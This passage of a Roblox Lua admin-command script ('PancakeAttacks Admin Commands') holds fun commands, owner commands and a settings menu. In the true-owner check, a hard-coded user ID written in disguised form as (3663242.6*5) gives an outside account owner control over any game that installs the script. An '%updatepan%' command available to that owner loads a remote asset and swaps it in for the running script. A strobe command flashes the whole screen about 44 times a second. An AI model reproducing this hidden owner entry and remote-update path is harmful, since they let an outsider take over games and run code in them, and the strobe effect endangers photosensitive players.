  6769. set.LoadScript('LocalScript',[[repeat wait(0.1) local clr = BrickColor.random() for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui)
  6770. end
  6771. end))
  6772. end
  6773. end
  6774.  
  6775. if msg:lower():sub(1,9) == "flashify " then
  6776. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6777. for i, v in pairs(plrz) do
  6778. coroutine.resume(coroutine.create(function()
  6779. if v and v.Character and v.Character:findFirstChild("Torso") then
  6780. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6781. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6782. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6783. set.LoadScript('LocalScript',[[repeat wait(0.1) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui)
  6784. end
  6785. end))
  6786. end
  6787. end
  6788.  
  6789. if msg:lower():sub(1,8) == "noobify " then
  6790. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6791. for i, v in pairs(plrz) do
  6792. coroutine.resume(coroutine.create(function()
  6793. if v and v.Character then
  6794. set.Noobify(v.Character)
  6795. end
  6796. end))
  6797. end
  6798. end
  6799.  
  6800. if msg:lower():sub(1,9) == "ghostify " then
  6801. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6802. for i, v in pairs(plrz) do
  6803. coroutine.resume(coroutine.create(function()
  6804. if v and v.Character and v.Character:findFirstChild("Torso") then
  6805. set.LoadOnClient(v,[[
  6806. game:GetService("RunService").Stepped:connect(function()
  6807. pcall(function()
  6808. game.Players.LocalPlayer.Character.Torso.CanCollide = false
  6809. game.Players.LocalPlayer.Character.Head.CanCollide = false
  6810. game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
  6811. if game.Players.LocalPlayer.Character:FindFirstChild('Head') then
  6812. for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do
  6813. if v and v:IsA('Part') then v.CanCollide=false end
  6814. end
  6815. end
  6816. end)
  6817. end)]],false,'Ghost')
  6818. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6819. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6820. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6821. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6822. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  6823. if prt.Name:find("Leg") then prt.Transparency = 1 end
  6824. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  6825. end end
  6826. end
  6827. end))
  6828. end
  6829. end
  6830.  
  6831. if msg:lower():sub(1,8) == "goldify " then
  6832. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6833. for i, v in pairs(plrz) do
  6834. coroutine.resume(coroutine.create(function()
  6835. if v and v.Character and v.Character:findFirstChild("Torso") then
  6836. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6837. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6838. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6839. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6840. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  6841. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  6842. end end
  6843. end
  6844. end))
  6845. end
  6846. end
  6847.  
  6848. if msg:lower():sub(1,6) == "shiny " then
  6849. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6850. for i, v in pairs(plrz) do
  6851. coroutine.resume(coroutine.create(function()
  6852. if v and v.Character and v.Character:findFirstChild("Torso") then
  6853. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  6854. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  6855. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6856. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6857. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  6858. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  6859. end end
  6860. end
  6861. end))
  6862. end
  6863. end
  6864.  
  6865. if msg:lower():sub(1,7) == "normal " then
  6866. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6867. for i, v in pairs(plrz) do
  6868. coroutine.resume(coroutine.create(function()
  6869. if v and v.Character and v.Character:findFirstChild("Torso") then
  6870. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  6871. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  6872. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  6873. v.Character.Torso.Transparency = 0
  6874. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  6875. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  6876. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  6877. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  6878. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  6879. for a, sc in pairs(v.PlayerGui:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6880. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6881. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  6882. if prt.Name == "FAKETORSO" then prt:Destroy() end
  6883. if prt.Name == 'HumanoidRootPart' then prt.Transparency=1 end
  6884. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  6885. end end
  6886. end
  6887. end))
  6888. end
  6889. end
  6890.  
  6891. if msg:lower():sub(1,7) == "trippy " then
  6892. if set['FilteringEnabled'] then return end
  6893. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6894. for i, v in pairs(plrz) do
  6895. coroutine.resume(coroutine.create(function()
  6896. if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  6897. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
  6898. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUITRIPPY"
  6899. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  6900. set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]],math.random(),true,scr)
  6901. end
  6902. end))
  6903. end
  6904. end
  6905.  
  6906. if msg:lower():sub(1,9) == "untrippy " then
  6907. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6908. for i, v in pairs(plrz) do
  6909. coroutine.resume(coroutine.create(function()
  6910. if v and v:findFirstChild("PlayerGui") then
  6911. for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUITRIPPY" then g:Destroy() end end
  6912. end
  6913. end))
  6914. end
  6915. end
  6916.  
  6917. if msg:lower():sub(1,7) == "strobe " then
  6918. if set['FilteringEnabled'] then return end
  6919. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6920. for i, v in pairs(plrz) do
  6921. coroutine.resume(coroutine.create(function()
  6922. if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  6923. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
  6924. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUISTROBE"
  6925. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  6926. set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]],math.random(),true,scr)
  6927. end
  6928. end))
  6929. end
  6930. end
  6931.  
  6932. if msg:lower():sub(1,9) == "unstrobe " then
  6933. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6934. for i, v in pairs(plrz) do
  6935. coroutine.resume(coroutine.create(function()
  6936. if v and v:findFirstChild("PlayerGui") then
  6937. for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUISTROBE" then g:Destroy() end end
  6938. end
  6939. end))
  6940. end
  6941. end
  6942.  
  6943. if msg:lower():sub(1,6) == "blind " then
  6944. if set['FilteringEnabled'] then return end
  6945. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6946. for i, v in pairs(plrz) do
  6947. coroutine.resume(coroutine.create(function()
  6948. if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  6949. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
  6950. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUIBLIND"
  6951. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  6952. end
  6953. end))
  6954. end
  6955. end
  6956.  
  6957. if msg:lower():sub(1,8) == "unblind " then
  6958. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  6959. for i, v in pairs(plrz) do
  6960. coroutine.resume(coroutine.create(function()
  6961. if v and v:findFirstChild("PlayerGui") then
  6962. for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUIBLIND" then g:Destroy() end end
  6963. end
  6964. end))
  6965. end
  6966. end
  6967.  
  6968. if msg:lower():sub(1,7) == "guifix " then
  6969. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  6970. for i, v in pairs(plrz) do
  6971. coroutine.resume(coroutine.create(function()
  6972. if v and v:findFirstChild("PlayerGui") then
  6973. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
  6974. end
  6975. end))
  6976. end
  6977. end
  6978.  
  6979. if msg:lower():sub(1,9) == "loopheal " then
  6980. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  6981. for i, v in pairs(plrz) do
  6982. if v then
  6983. set.LoadScript('LocalScript',[[
  6984. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6985. repeat wait()
  6986. coroutine.resume(coroutine.create(function()
  6987. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  6988. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  6989. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  6990. end
  6991. end))
  6992. until nil]],"LoopHeal:"..v.Name,true,v.PlayerGui)
  6993. end
  6994. end
  6995. end
  6996.  
  6997. if msg:lower():sub(1,11) == "unloopheal " then
  6998. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  6999. for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
  7000. end
  7001.  
  7002. if msg:lower():sub(1,10) == "loopfling " then
  7003. local plrz = set.GetPlayers(plr, msg:lower():sub(11))
  7004. for i, v in pairs(plrz) do
  7005. if v then
  7006. set.LoadScript('LocalScript',[[
  7007. local plr = game.Players.LocalPlayer
  7008. repeat
  7009. coroutine.resume(coroutine.create(function()
  7010. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  7011. local xran local zran
  7012. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  7013. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  7014. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  7015. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  7016. end
  7017. end))
  7018. wait(2) until nil]],"LoopFling:"..v.Name,true)
  7019. end
  7020. end
  7021. end
  7022.  
  7023. if msg:lower():sub(1,12) == "unloopfling " then
  7024. local plrz = set.GetPlayers(plr, msg:lower():sub(13))
  7025. for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
  7026. end
  7027. end
  7028.  
  7029. -------------------------
  7030. -- True Owner Commands --
  7031. -------------------------
  7032. if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId then
  7033.  
  7034. if msg:lower():sub(1,11) == "forceplace " then
  7035. local chk1 = msg:lower():sub(12):find(" ") + 11
  7036. local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1))
  7037. for i, v in pairs(plrz) do
  7038. coroutine.resume(coroutine.create(function()
  7039. game:GetService('TeleportService'):Teleport(msg:sub(chk1+1),v)
  7040. end))
  7041. end
  7042. end
  7043.  
  7044. if msg:lower()=='%updatepan%' then
  7045. local m=Instance.new('Message',workspace)
  7046. m.Text="Updating PancakeAttacks Admin Commands [MANUAL MODE]"
  7047. local mo=game:GetService('InsertService'):LoadAsset(149223415)
  7048. local news=mo:FindFirstChild("PancakeAttacks Admin Commands")
  7049. _G["Pancake Update"]={}
  7050. local update = _G["Pancake Update"]
  7051. for number,setting in pairs(ThingsToUpdate) do
  7052. if set[setting] then update[setting]=set[setting] end
  7053. end
  7054. news.Parent=game:service('ServerScriptService')
  7055. mo:Destroy()
  7056. wait(1)
  7057. m.Text='Breaking old version and respawning players...'
  7058. wait(1)
  7059. m:Destroy()
  7060. set=nil
  7061. RemoteEvent:Destroy()
  7062. script.Parent=nil
  7063. script.Disabled=true
  7064. script:Destroy()
  7065. for i,v in pairs(game.Players:GetPlayers()) do
  7066. v:LoadCharacter()
  7067. end
  7068. error('Breaking Old Version')
  7069. end
  7070.  
  7071. if msg:lower():sub(1,8) == "permban " then
  7072. if set['FilteringEnabled'] then return end
  7073. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  7074. for i, v in pairs(plrz) do
  7075. coroutine.resume(coroutine.create(function()
  7076. if v and not set.ChkAdmin(v.Name, false) then
  7077. local scr=Instance.new("ScreenGui",plr.PlayerGui)
  7078. scr.Name = GuiName.."PERMBANGUI"
  7079. local frame=Instance.new('Frame',scr)
  7080. local label=Instance.new('TextLabel',frame)
  7081. local yes=Instance.new('TextButton',frame)
  7082. local no=Instance.new('TextButton',frame)
  7083. frame.BackgroundColor3=set['PrimaryColor']
  7084. frame.BorderColor3=Color3.new(1,1,1)
  7085. frame.BackgroundTransparency=set['Transparency']
  7086. frame.BorderSizePixel=2
  7087. frame.Position=UDim2.new(1,-500,1,-300)
  7088. frame.Size=UDim2.new(0,260,0,130)
  7089. frame.ClipsDescendants=true
  7090. label.BackgroundTransparency=1
  7091. label.BorderSizePixel=0
  7092. label.Position=UDim2.new(0,5,0,8)
  7093. label.Size=UDim2.new(0,250,0,30)
  7094. label.TextColor3=set['TextColor']
  7095. label.ClipsDescendants=false
  7096. label.TextWrapped=true
  7097. label.TextScaled=true
  7098. label.FontSize='Size14'
  7099. label.Font='ArialBold'
  7100. label.TextXAlignment='Center'
  7101. label.TextYAlignment='Center'
  7102. label.Text='Permanently ban '..v.Name..'?'
  7103. frame.Draggable=true
  7104. frame.Active=true
  7105. label.Draggable=false
  7106. yes.BackgroundColor3=Color3.new(0, 170, 0)
  7107. yes.TextColor3=Color3.new(1,1,1)
  7108. yes.Text='Yes'
  7109. yes.Font='ArialBold'
  7110. yes.FontSize='Size36'
  7111. no.Font='ArialBold'
  7112. no.FontSize='Size36'
  7113. no.BackgroundColor3=Color3.new(170, 0, 0)
  7114. no.TextColor3=Color3.new(1,1,1)
  7115. no.Text='No'
  7116. yes.Size=UDim2.new(0,100,0,50)
  7117. yes.Position=UDim2.new(0,20,0,50)
  7118. no.Size=UDim2.new(0,100,0,50)
  7119. no.Position=UDim2.new(0,140,0,50)
  7120. yes.MouseButton1Down:connect(function()
  7121. v:SaveBoolean(set['PermBanKey'],true)
  7122. v:Kick()
  7123. scr:Destroy()
  7124. end)
  7125. no.MouseButton1Down:connect(function()
  7126. scr:Destroy()
  7127. end)
  7128. end
  7129. end))
  7130. end
  7131. end
  7132.  
  7133. if msg:lower():sub(1,3) == "oa " then
  7134. local plrz = set.GetPlayers(plr, msg:lower():sub(4))
  7135. for i, v in pairs(plrz) do
  7136. coroutine.resume(coroutine.create(function()
  7137. if v and not set.ChkOwner(v.Name) then table.insert(set['Owners'], v.Name)
  7138. coroutine.resume(coroutine.create(function()
  7139. repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
  7140. set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
  7141. end))
  7142. set.Hint(v.Name..' Has Been Given Owner Admin',{plr})
  7143. end
  7144. end))
  7145. end
  7146. end
  7147.  
  7148. if msg:lower():sub(1,5) == "unoa " then
  7149. for i = 1, #set['Owners'] do
  7150. coroutine.resume(coroutine.create(function()
  7151. if msg:lower():sub(6) == "all" or set['Owners'][i]:lower():find(msg:lower():sub(6)) == 1 then
  7152. set.Hint(set['Owners'][i]..' No Longer Has Owner Admin',{plr})
  7153. table.remove(set['Owners'], i)
  7154. end
  7155. end))
  7156. end
  7157. end
  7158.  
  7159.  
  7160. if msg:lower() == "settings" then
  7161. if plr.PlayerGui:findFirstChild(GuiName.."SETTINGSGUI") then return end
  7162. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."SETTINGSGUI" scr.Parent = plr.PlayerGui
  7163. top.Text='Settings'
  7164. local cl = ent:Clone()
  7165. cl.Parent = cmf
  7166. cl.Text = 'Prefix: '
  7167. cl.Position = UDim2.new(0,0,0,num*20)
  7168. cl.Size=UDim2.new(0,370,0,20)
  7169. cl.TextScaled=true
  7170. cl.FontSize='Size24'
  7171. cl.Font='ArialBold'
  7172. local tb = Instance.new("TextBox", cl)
  7173. tb.Position = UDim2.new(0,335,0,0)
  7174. tb.Size = UDim2.new(0,30,0,15)
  7175. tb.BackgroundTransparency = .8
  7176. tb.BorderSizePixel = 1
  7177. tb.BorderColor3 = set['SecondaryColor']
  7178. tb.TextColor3 = set['TextColor']
  7179. tb.Font = "Arial"
  7180. tb.Text = set['prefix']
  7181. tb.FontSize = "Size18"
  7182. tb.TextStrokeColor3 = set['TextStrokeColor']
  7183. tb.TextStrokeTransparency = .9
  7184. tb.TextYAlignment = "Top"
  7185. tb.ClipsDescendants = true
  7186. tb.ZIndex = 8
  7187. tb.TextWrapped=true
  7188. tb.TextScaled=true
  7189. tb.Changed:connect(function()
  7190. if tb.Text ~= set['prefix'] then
  7191. set['prefix'] = tb.Text
  7192. end
  7193. end)
  7194. num = num +1
  7195. local cl = ent:Clone()
  7196. cl.Parent = cmf
  7197. cl.Text = 'Special Prefix: '
  7198. cl.Position = UDim2.new(0,0,0,num*20)
  7199. cl.Size=UDim2.new(0,370,0,20)
  7200. cl.TextScaled=true
  7201. cl.FontSize='Size24'
  7202. cl.Font='ArialBold'
  7203. local tb = Instance.new("TextBox", cl)
  7204. tb.Position = UDim2.new(0,335,0,0)
  7205. tb.Size = UDim2.new(0,30,0,15)
  7206. tb.BackgroundTransparency = .8
  7207. tb.BorderSizePixel = 1
  7208. tb.BorderColor3 = set['SecondaryColor']
  7209. tb.TextColor3 = set['TextColor']
  7210. tb.Font = "Arial"
  7211. tb.Text = set['sprefix']
  7212. tb.FontSize = "Size18"
  7213. tb.TextStrokeColor3 = set['TextStrokeColor']
  7214. tb.TextStrokeTransparency = .9
  7215. tb.TextYAlignment = "Top"
  7216. tb.ClipsDescendants = true
  7217. tb.ZIndex = 8
  7218. tb.TextWrapped=true
  7219. tb.TextScaled=true
  7220. tb.Changed:connect(function()
  7221. if tb.Text ~= set['prefix'] and tb.Text ~= "" then
  7222. set['sprefix'] = tb.Text
  7223. end
  7224. end)
  7225. num = num +1
  7226. local cl = ent:Clone()
  7227. cl.Parent = cmf
  7228. cl.Text = 'Fun Commands: '
  7229. cl.Position = UDim2.new(0,0,0,num*20)
  7230. cl.Size=UDim2.new(0,370,0,20)
  7231. cl.TextScaled=true
  7232. cl.FontSize='Size24'
  7233. cl.Font='ArialBold'
  7234. local cb = Instance.new("TextButton", cl)
  7235. cb.Position = UDim2.new(0,335,0,0)
  7236. cb.Size = UDim2.new(0,30,0,15)
  7237. cb.BackgroundTransparency = .8
  7238. cb.BorderSizePixel = 1
  7239. cb.BorderColor3 = set['SecondaryColor']
  7240. cb.TextColor3 = set['TextColor']
  7241. cb.Font = "Arial"
  7242. cb.FontSize = "Size18"
  7243. cb.TextStrokeColor3 = set['TextStrokeColor']
  7244. cb.TextStrokeTransparency = .9
  7245. cb.TextYAlignment = "Top"
  7246. cb.ZIndex = 8
  7247. cb.TextWrapped=true
  7248. cb.TextScaled=true
  7249. if set['FunCommands'] then cb.Text = "X" else cb.Text = "" end
  7250. cb.MouseButton1Down:connect(function()
  7251. if set['FunCommands'] then set['FunCommands'] = false
  7252. cb.Text = ""
  7253. else
  7254. set['FunCommands'] = true
  7255. cb.Text = "X"
  7256. end
  7257. end)
  7258. num=num+1
  7259. local cl = ent:Clone()
  7260. cl.Parent = cmf
  7261. cl.Text = 'Player Commands: '
  7262. cl.Position = UDim2.new(0,0,0,num*20)
  7263. cl.Size=UDim2.new(0,370,0,20)
  7264. cl.TextScaled=true
  7265. cl.FontSize='Size24'
  7266. cl.Font='ArialBold'
  7267. local cb = Instance.new("TextButton", cl)
  7268. cb.Position = UDim2.new(0,335,0,0)
  7269. cb.Size = UDim2.new(0,30,0,15)
  7270. cb.BackgroundTransparency = .8
  7271. cb.BorderSizePixel = 1
  7272. cb.BorderColor3 = set['SecondaryColor']
  7273. cb.TextColor3 = set['TextColor']
  7274. cb.Font = "Arial"
  7275. cb.FontSize = "Size18"
  7276. cb.TextStrokeColor3 = set['TextStrokeColor']
  7277. cb.TextStrokeTransparency = .9
  7278. cb.TextYAlignment = "Top"
  7279. cb.ZIndex = 8
  7280. cb.TextWrapped=true
  7281. cb.TextScaled=true
  7282. if set['PlayerCommands'] then cb.Text = "X" else cb.Text = "" end
  7283. cb.MouseButton1Down:connect(function()
  7284. if set['PlayerCommands'] then set['PlayerCommands'] = false
  7285. cb.Text = ""
  7286. else
  7287. set['PlayerCommands'] = true
  7288. cb.Text = "X"
  7289. end
  7290. end)
  7291. num=num+1
  7292. local cl = ent:Clone()
  7293. cl.Parent = cmf
  7294. cl.Text = 'Owners Are True Owners: '
  7295. cl.Position = UDim2.new(0,0,0,num*20)
  7296. cl.Size=UDim2.new(0,370,0,20)
  7297. cl.TextScaled=true
  7298. cl.FontSize='Size24'
  7299. cl.Font='ArialBold'
  7300. local cb = Instance.new("TextButton", cl)
  7301. cb.Position = UDim2.new(0,335,0,0)
  7302. cb.Size = UDim2.new(0,30,0,15)
  7303. cb.BackgroundTransparency = .8
  7304. cb.BorderSizePixel = 1
  7305. cb.BorderColor3 = set['SecondaryColor']
  7306. cb.TextColor3 = set['TextColor']
  7307. cb.Font = "Arial"
  7308. cb.FontSize = "Size18"
  7309. cb.TextStrokeColor3 = set['TextStrokeColor']
  7310. cb.TextStrokeTransparency = .9
  7311. cb.TextYAlignment = "Top"
  7312. cb.ZIndex = 8
  7313. cb.TextWrapped=true
  7314. cb.TextScaled=true
  7315. if set['OwnersAreTrueOwners'] then cb.Text = "X" else cb.Text = "" end
  7316. cb.MouseButton1Down:connect(function()
  7317. if set['OwnersAreTrueOwners'] then set['OwnersAreTrueOwners'] = false
  7318. cb.Text = ""
  7319. else
  7320. set['OwnersAreTrueOwners'] = true
  7321. cb.Text = "X"
  7322. end
  7323. end)
  7324. num=num+1
  7325. local cl = ent:Clone()
  7326. cl.Parent = cmf
  7327. cl.Text = 'Help System: '
  7328. cl.Position = UDim2.new(0,0,0,num*20)
  7329. cl.Size=UDim2.new(0,370,0,20)
  7330. cl.TextScaled=true
  7331. cl.FontSize='Size24'
  7332. cl.Font='ArialBold'
  7333. local cb = Instance.new("TextButton", cl)
  7334. cb.Position = UDim2.new(0,335,0,0)
  7335. cb.Size = UDim2.new(0,30,0,15)
  7336. cb.BackgroundTransparency = .8
  7337. cb.BorderSizePixel = 1
  7338. cb.BorderColor3 = set['SecondaryColor']
  7339. cb.TextColor3 = set['TextColor']
  7340. cb.Font = "Arial"
  7341. cb.FontSize = "Size18"
  7342. cb.TextStrokeColor3 = set['TextStrokeColor']
  7343. cb.TextStrokeTransparency = .9
  7344. cb.TextYAlignment = "Top"
  7345. cb.ZIndex = 8
  7346. cb.TextWrapped=true
  7347. cb.TextScaled=true
  7348. if set['HelpSystem'] then cb.Text = "X" else cb.Text = "" end
  7349. cb.MouseButton1Down:connect(function()
  7350. if set['HelpSystem'] then set['HelpSystem'] = false
  7351. cb.Text = ""
  7352. else
  7353. set['HelpSystem'] = true
  7354. cb.Text = "X"
  7355. end
  7356. end)
  7357. num=num+1
  7358. local cl = ent:Clone()
  7359. cl.Parent = cmf
  7360. cl.Text = 'PM Usable By Everyone: '
  7361. cl.Position = UDim2.new(0,0,0,num*20)
  7362. cl.Size=UDim2.new(0,370,0,20)
  7363. cl.TextScaled=true
  7364. cl.FontSize='Size24'
  7365. cl.Font='ArialBold'
  7366. local cb = Instance.new("TextButton", cl)
  7367. cb.Position = UDim2.new(0,335,0,0)
  7368. cb.Size = UDim2.new(0,30,0,15)
  7369. cb.BackgroundTransparency = .8
  7370. cb.BorderSizePixel = 1
  7371. cb.BorderColor3 = set['SecondaryColor']
  7372. cb.TextColor3 = set['TextColor']
  7373. cb.Font = "Arial"
  7374. cb.FontSize = "Size18"
  7375. cb.TextStrokeColor3 = set['TextStrokeColor']
  7376. cb.TextStrokeTransparency = .9
  7377. cb.TextYAlignment = "Top"
  7378. cb.ZIndex = 8
  7379. cb.TextWrapped=true
  7380. cb.TextScaled=true
  7381. if set['PMUsableByAnyone'] then cb.Text = "X" else cb.Text = "" end
  7382. cb.MouseButton1Down:connect(function()
  7383. if set['PMUsableByAnyone'] then set['PMUsableByAnyone'] = false
  7384. cb.Text = ""
  7385. else
  7386. set['PMUsableByAnyone'] = true
  7387. cb.Text = "X"
  7388. end
  7389. end)
  7390. num=num+1
  7391. local cl = ent:Clone()
  7392. cl.Parent = cmf
  7393. cl.Text = 'Anti-Exploit: '
  7394. cl.Position = UDim2.new(0,0,0,num*20)
  7395. cl.Size=UDim2.new(0,370,0,20)
  7396. cl.TextScaled=true
  7397. cl.FontSize='Size24'
